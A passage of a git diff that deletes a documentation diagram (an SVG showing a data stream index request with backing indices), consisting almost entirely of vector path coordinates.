-0.234375 1.640626l0 4.34375l-1.40625 0zm11.01564 -2.671875l1.453125 0.171875q-0.34375 1.28125 -1.28125 1.984375q-0.921875 0.703125 -2.359375 0.703125q-1.828125 0 -2.890625 -1.125q-1.0625 -1.125 -1.0625 -3.140625q0 -2.093751 1.078125 -3.250001q1.078125 -1.15625 2.796875 -1.15625q1.65625 0 2.703125 1.140625q1.0625 1.125 1.0625 3.171876q0 0.125 0 0.375l-6.1875 0q0.078125 1.375 0.765625 2.109375q0.703125 0.71875 1.734375 0.71875q0.78125 0 1.328125 -0.40625q0.546875 -0.40625 0.859375 -1.296875zm-4.609375 -2.28125l4.625 0q-0.09375 -1.046876 -0.53125 -1.562501q-0.671875 -0.8125 -1.734375 -0.8125q-0.96875 0 -1.640625 0.65625q-0.65625 0.640625 -0.71875 1.718751zm13.2421875 3.921875q-0.78125 0.671875 -1.5 0.953125q-0.71875 0.265625 -1.546875 0.265625q-1.375 0 -2.109375 -0.671875q-0.734375 -0.671875 -0.734375 -1.703125q0 -0.609375 0.28125 -1.109375q0.28125 -0.515625 0.71875 -0.8125q0.453125 -0.3125 1.015625 -0.46875q0.421875 -0.109375 1.25 -0.203125q1.703125 -0.203125 2.515625 -0.484375q0 -0.296875 0 -0.37500095q0 -0.859375 -0.390625 -1.203125q-0.546875 -0.484375 -1.609375 -0.484375q-0.984375 0 -1.46875 0.359375q-0.46875 0.34375 -0.6875 1.21875l-1.375 -0.1875q0.1875 -0.875 0.609375 -1.421875q0.4375 -0.546875 1.25 -0.828125q0.8125 -0.296875 1.875 -0.296875q1.0625 0 1.71875 0.25q0.671875 0.25 0.984375 0.625q0.3125 0.375 0.4375 0.953125q0.078125 0.359375 0.078125 1.296876l0 1.875q0 1.96875 0.078125 2.484375q0.09375 0.515625 0.359375 1.0l-1.46875 0q-0.21875 -0.4375 -0.28125 -1.03125zm-0.109375 -3.140625q-0.765625 0.3125 -2.296875 0.53125q-0.875 0.125 -1.234375 0.28125q-0.359375 0.15625 -0.5625 0.46875q-0.1875 0.296875 -0.1875 0.65625q0 0.5625 0.421875 0.9375q0.4375 0.375 1.25 0.375q0.8125 0 1.4375 -0.34375q0.640625 -0.359375 0.9375 -0.984375q0.234375 -0.46875 0.234375 -1.40625l0 -0.515625zm3.6015625 4.171875l0 -8.296876l1.25 0l0 1.15625q0.390625 -0.609375 1.03125 -0.96875q0.65625 -0.375 1.484375 -0.375q0.921875 0 1.515625 0.390625q0.59375 0.375 0.828125 1.0625q0.984375 -1.453125 2.5625 -1.453125q1.234375 0 1.890625 0.6875q0.671875 0.671875 0.671875 2.09375l0 5.703126l-1.390625 0l0 -5.234375q0 -0.84375095 -0.140625 -1.203126q-0.140625 -0.375 -0.5 -0.59375q-0.359375 -0.234375 -0.84375 -0.234375q-0.875 0 -1.453125 0.578125q-0.578125 0.578125 -0.578125 1.859376l0 4.828125l-1.40625 0l0 -5.390625q0 -0.93750095 -0.34375 -1.406251q-0.34375 -0.46875 -1.125 -0.46875q-0.59375 0 -1.09375 0.3125q-0.5 0.3125 -0.734375 0.921875q-0.21875 0.59375095 -0.21875 1.718751l0 4.3125l-1.40625 0z" fill-rule="nonzero"/></g></svg>
\ No newline at end of file
diff --git a/docs/reference/images/data-streams/data-streams-index-request.svg b/docs/reference/images/data-streams/data-streams-index-request.svg
deleted file mode 100644
index 08daf499d8e..00000000000
--- a/docs/reference/images/data-streams/data-streams-index-request.svg
+++ /dev/null
@@ -1 +0,0 @@
-<svg version="1.1" viewBox="0.0 0.0 484.90551181102364 313.6509186351706" fill="none" stroke="none" stroke-linecap="square" stroke-miterlimit="10" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg"><clipPath id="p.0"><path d="m0 0l484.90552 0l0 313.6509l-484.90552 0l0 -313.6509z" clip-rule="nonzero"/></clipPath><g clip-path="url(#p.0)"><path fill="#000000" fill-opacity="0.0" d="m0 0l484.90552 0l0 313.6509l-484.90552 0z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m2.3060346 176.6376l0 0c0 -14.684402 11.904058 -26.588455 26.588459 -26.588455l426.76007 0c7.051697 0 13.814575 2.8012695 18.800903 7.7875824c4.9862976 4.9862976 7.787567 11.749176 7.787567 18.800873l0 106.35065c0 14.684387 -11.904053 26.58844 -26.58847 26.58844l-426.76007 0c-14.684401 0 -26.588459 -11.904053 -26.588459 -26.58844z" fill-rule="evenodd"/><path stroke="#00bfb3" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m2.3060346 176.6376l0 0c0 -14.684402 11.904058 -26.588455 26.588459 -26.588455l426.76007 0c7.051697 0 13.814575 2.8012695 18.800903 7.7875824c4.9862976 4.9862976 7.787567 11.749176 7.787567 18.800873l0 106.35065c0 14.684387 -11.904053 26.58844 -26.58847 26.58844l-426.76007 0c-14.684401 0 -26.588459 -11.904053 -26.588459 -26.58844z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m242.7601 99.033394l0.85040283 37.480324" fill-rule="evenodd"/><path stroke="#fa734f" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m242.76012 99.033394l0.57818604 25.483398" fill-rule="evenodd"/><path fill="#fa734f" stroke="#fa734f" stroke-width="2.0" stroke-linecap="butt" d="m240.03569 124.59173l3.508484 8.998924l3.0967407 -9.148788z" fill-rule="evenodd"/><path fill="#00bfb3" d="m28.472963 210.93915l0 0c0 -6.5318756 5.2951336 -11.827011 11.827009 -11.827011l117.8893 0c3.1367035 0 6.1449585 1.2460632 8.362946 3.4640503c2.2180023 2.217987 3.4640503 5.226242 3.4640503 8.362961l0 47.30661c0 6.531891 -5.2951202 11.826996 -11.826996 11.826996l-117.8893 0c-6.5318756 0 -11.827009 -5.295105 -11.827009 -11.826996z" fill-rule="evenodd"/><path fill="#ffffff" d="m43.32665 240.45245l0 -1.609375l1.609375 0l0 1.609375l-1.609375 0zm9.4296875 0l0 -1.046875q-0.78125 1.234375 -2.3125 1.234375q-1.0 0 -1.828125 -0.546875q-0.828125 -0.546875 -1.296875 -1.53125q-0.453125 -0.984375 -0.453125 -2.25q0 -1.25 0.40625 -2.25q0.421875 -1.015625 1.25 -1.546875q0.828125 -0.546875 1.859375 -0.546875q0.75 0 1.328125 0.3125q0.59375 0.3125 0.953125 0.828125l0 -4.109375l1.40625 0l0 11.453125l-1.3125 0zm-4.4375 -4.140625q0 1.59375 0.671875 2.390625q0.671875 0.78125 1.578125 0.78125q0.921875 0 1.5625 -0.75q0.65625 -0.765625 0.65625 -2.3125q0 -1.703125 -0.65625 -2.5q-0.65625 -0.796875 -1.625 -0.796875q-0.9375 0 -1.5625 0.765625q-0.625 0.765625 -0.625 2.421875zm7.3984375 1.65625l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.312496 0l0 1.421875l-4.312496 0zm5.843746 3.4375l0 -11.453125l1.40625 0l0 11.453125l-1.40625 0zm3.0546875 -4.15625q0 -2.296875 1.28125 -3.40625q1.078125 -0.921875 2.609375 -0.921875q1.71875 0 2.796875 1.125q1.09375 1.109375 1.09375 3.09375q0 1.59375 -0.484375 2.515625q-0.484375 0.921875 -1.40625 1.4375q-0.90625 0.5 -2.0 0.5q-1.734375 0 -2.8125 -1.109375q-1.078125 -1.125 -1.078125 -3.234375zm1.453125 0q0 1.59375 0.6875 2.390625q0.703125 0.796875 1.75 0.796875q1.046875 0 1.734375 -0.796875q0.703125 -0.796875 0.703125 -2.4375q0 -1.53125 -0.703125 -2.328125q-0.6875 -0.796875 -1.734375 -0.796875q-1.046875 0 -1.75 0.796875q-0.6875 0.78125 -0.6875 2.375zm7.7109375 4.84375l1.375 0.203125q0.078125 0.640625 0.46875 0.921875q0.53125 0.390625 1.4375 0.390625q0.96875 0 1.5 -0.390625q0.53125 -0.390625 0.71875 -1.09375q0.109375 -0.421875 0.109375 -1.8125q-0.921875 1.09375 -2.296875 1.09375q-1.71875 0 -2.65625 -1.234375q-0.9375 -1.234375 -0.9375 -2.96875q0 -1.1875 0.421875 -2.1875q0.4375 -1.0 1.25 -1.546875q0.828125 -0.546875 1.921875 -0.546875q1.46875 0 2.421875 1.1875l0 -1.0l1.296875 0l0 7.171875q0 1.9375 -0.390625 2.75q-0.390625 0.8125 -1.25 1.28125q-0.859375 0.46875 -2.109375 0.46875q-1.484375 0 -2.40625 -0.671875q-0.90625 -0.671875 -0.875 -2.015625zm1.171875 -4.984375q0 1.625 0.640625 2.375q0.65625 0.75 1.625 0.75q0.96875 0 1.625 -0.734375q0.65625 -0.75 0.65625 -2.34375q0 -1.53125 -0.671875 -2.296875q-0.671875 -0.78125 -1.625 -0.78125q-0.9375 0 -1.59375 0.765625q-0.65625 0.765625 -0.65625 2.265625zm7.4296875 1.8125l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.484375 -2.21875q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm12.7578125 5.65625l-1.40625 0l0 -8.96875q-0.515625 0.484375 -1.34375 0.96875q-0.8125 0.484375 -1.46875 0.734375l0 -1.359375q1.171875 -0.5625 2.046875 -1.34375q0.890625 -0.796875 1.265625 -1.53125l0.90625 0l0 11.5z" fill-rule="nonzero"/><path fill="#00bfb3" d="m178.87401 210.93915l0 0c0 -6.5318756 5.2951355 -11.827011 11.827011 -11.827011l117.88928 0c3.1367188 0 6.144989 1.2460632 8.362976 3.4640503c2.217987 2.217987 3.4640503 5.226242 3.4640503 8.362961l0 47.30661c0 6.531891 -5.2951355 11.826996 -11.827026 11.826996l-117.88928 0c-6.5318756 0 -11.827011 -5.295105 -11.827011 -11.826996z" fill-rule="evenodd"/><path fill="#ffffff" d="m193.72769 240.45245l0 -1.609375l1.609375 0l0 1.609375l-1.609375 0zm9.4296875 0l0 -1.046875q-0.78125 1.234375 -2.3125 1.234375q-1.0 0 -1.828125 -0.546875q-0.828125 -0.546875 -1.296875 -1.53125q-0.453125 -0.984375 -0.453125 -2.25q0 -1.25 0.40625 -2.25q0.421875 -1.015625 1.25 -1.546875q0.828125 -0.546875 1.859375 -0.546875q0.75 0 1.328125 0.3125q0.59375 0.3125 0.953125 0.828125l0 -4.109375l1.40625 0l0 11.453125l-1.3125 0zm-4.4375 -4.140625q0 1.59375 0.671875 2.390625q0.671875 0.78125 1.578125 0.78125q0.921875 0 1.5625 -0.75q0.65625 -0.765625 0.65625 -2.3125q0 -1.703125 -0.65625 -2.5q-0.65625 -0.796875 -1.625 -0.796875q-0.9375 0 -1.5625 0.765625q-0.625 0.765625 -0.625 2.421875zm7.3984375 1.65625l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.84375 3.4375l0 -11.453125l1.40625 0l0 11.453125l-1.40625 0zm3.0546875 -4.15625q0 -2.296875 1.28125 -3.40625q1.078125 -0.921875 2.609375 -0.921875q1.71875 0 2.796875 1.125q1.09375 1.109375 1.09375 3.09375q0 1.59375 -0.484375 2.515625q-0.484375 0.921875 -1.40625 1.4375q-0.90625 0.5 -2.0 0.5q-1.734375 0 -2.8125 -1.109375q-1.078125 -1.125 -1.078125 -3.234375zm1.453125 0q0 1.59375 0.6875 2.390625q0.703125 0.796875 1.75 0.796875q1.046875 0 1.734375 -0.796875q0.703125 -0.796875 0.703125 -2.4375q0 -1.53125 -0.703125 -2.328125q-0.6875 -0.796875 -1.734375 -0.796875q-1.046875 0 -1.75 0.796875q-0.6875 0.78125 -0.6875 2.375zm7.7109375 4.84375l1.375 0.203125q0.078125 0.640625 0.46875 0.921875q0.53125 0.390625 1.4375 0.390625q0.96875 0 1.5 -0.390625q0.53125 -0.390625 0.71875 -1.09375q0.109375 -0.421875 0.109375 -1.8125q-0.921875 1.09375 -2.296875 1.09375q-1.71875 0 -2.65625 -1.234375q-0.9375 -1.234375 -0.9375 -2.96875q0 -1.1875 0.421875 -2.1875q0.4375 -1.0 1.25 -1.546875q0.828125 -0.546875 1.921875 -0.546875q1.46875 0 2.421875 1.1875l0 -1.0l1.296875 0l0 7.171875q0 1.9375 -0.390625 2.75q-0.390625 0.8125 -1.25 1.28125q-0.859375 0.46875 -2.109375 0.46875q-1.484375 0 -2.40625 -0.671875q-0.90625 -0.671875 -0.875 -2.015625zm1.171875 -4.984375q0 1.625 0.640625 2.375q0.65625 0.75 1.625 0.75q0.96875 0 1.625 -0.734375q0.65625 -0.75 0.65625 -2.34375q0 -1.53125 -0.671875 -2.296875q-0.671875 -0.78125 -1.625 -0.78125q-0.9375 0 -1.59375 0.765625q-0.65625 0.765625 -0.65625 2.265625zm7.4296875 1.8125l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.484375 -2.21875q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm14.8515625 4.296875l0 1.359375l-7.578125 0q-0.015625 -0.515625 0.171875 -0.984375q0.28125 -0.765625 0.921875 -1.515625q0.640625 -0.75 1.84375 -1.734375q1.859375 -1.53125 2.515625 -2.421875q0.65625 -0.90625 0.65625 -1.703125q0 -0.828125 -0.59375 -1.40625q-0.59375 -0.578125 -1.5625 -0.578125q-1.015625 0 -1.625 0.609375q-0.609375 0.609375 -0.609375 1.6875l-1.453125 -0.140625q0.15625 -1.625 1.125 -2.46875q0.96875 -0.84375 2.59375 -0.84375q1.65625 0 2.609375 0.921875q0.96875 0.90625 0.96875 2.25q0 0.6875 -0.28125 1.359375q-0.28125 0.65625 -0.9375 1.390625q-0.65625 0.734375 -2.171875 2.015625q-1.265625 1.0625 -1.625 1.453125q-0.359375 0.375 -0.59375 0.75l5.625 0z" fill-rule="nonzero"/><path fill="#fa734f" d="m161.15381 52.51371l81.60629 -46.519684l81.60629 46.519684l-81.60629 46.519684z" fill-rule="evenodd"/><path stroke="#fa734f" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m161.15381 52.51371l81.60629 -46.519684l81.60629 46.519684l-81.60629 46.519684z" fill-rule="evenodd"/><path fill="#ffffff" d="m214.014 48.87371l0 -11.453125l1.515625 0l0 11.453125l-1.515625 0zm4.0078125 0l0 -8.296875l1.265625 0l0 1.171875q0.90625 -1.359375 2.640625 -1.359375q0.75 0 1.375 0.265625q0.625 0.265625 0.9375 0.703125q0.3125 0.4375 0.4375 1.046875q0.078125 0.390625 0.078125 1.359375l0 5.109375l-1.40625 0l0 -5.046875q0 -0.859375 -0.171875 -1.28125q-0.15625 -0.4375 -0.578125 -0.6875q-0.40625 -0.25 -0.96875 -0.25q-0.90625 0 -1.5625 0.578125q-0.640625 0.5625 -0.640625 2.15625l0 4.53125l-1.40625 0zm14.2734375 0l0 -1.046875q-0.78125 1.234375 -2.3125 1.234375q-1.0 0 -1.828125 -0.546875q-0.828125 -0.546875 -1.296875 -1.53125q-0.453125 -0.984375 -0.453125 -2.25q0 -1.25 0.40625 -2.25q0.421875 -1.015625 1.25 -1.546875q0.828125 -0.546875 1.859375 -0.546875q0.75 0 1.328125 0.3125q0.59375 0.3125 0.953125 0.828125l0 -4.109375l1.40625 0l0 11.453125l-1.3125 0zm-4.4375 -4.140625q0 1.59375 0.671875 2.390625q0.671875 0.78125 1.578125 0.78125q0.921875 0 1.5625 -0.75q0.65625 -0.765625 0.65625 -2.3125q0 -1.703125 -0.65625 -2.5q-0.65625 -0.796875 -1.625 -0.796875q-0.9375 0 -1.5625 0.765625q-0.625 0.765625 -0.625 2.421875zm13.6328125 1.46875l1.453125 0.171875q-0.34375 1.28125 -1.28125 1.984375q-0.921875 0.703125 -2.359375 0.703125q-1.828125 0 -2.890625 -1.125q-1.0625 -1.125 -1.0625 -3.140625q0 -2.09375 1.078125 -3.25q1.078125 -1.15625 2.796875 -1.15625q1.65625 0 2.703125 1.140625q1.0625 1.125 1.0625 3.171875q0 0.125 0 0.375l-6.1875 0q0.078125 1.375 0.765625 2.109375q0.703125 0.71875 1.734375 0.71875q0.78125 0 1.328125 -0.40625q0.546875 -0.40625 0.859375 -1.296875zm-4.609375 -2.28125l4.625 0q-0.09375 -1.046875 -0.53125 -1.5625q-0.671875 -0.8125 -1.734375 -0.8125q-0.96875 0 -1.640625 0.65625q-0.65625 0.640625 -0.71875 1.71875zm6.8984375 4.953125l3.03125 -4.3125l-2.8125 -3.984375l1.765625 0l1.265625 1.9375q0.359375 0.5625 0.578125 0.9375q0.34375 -0.515625 0.640625 -0.921875l1.390625 -1.953125l1.6875 0l-2.875 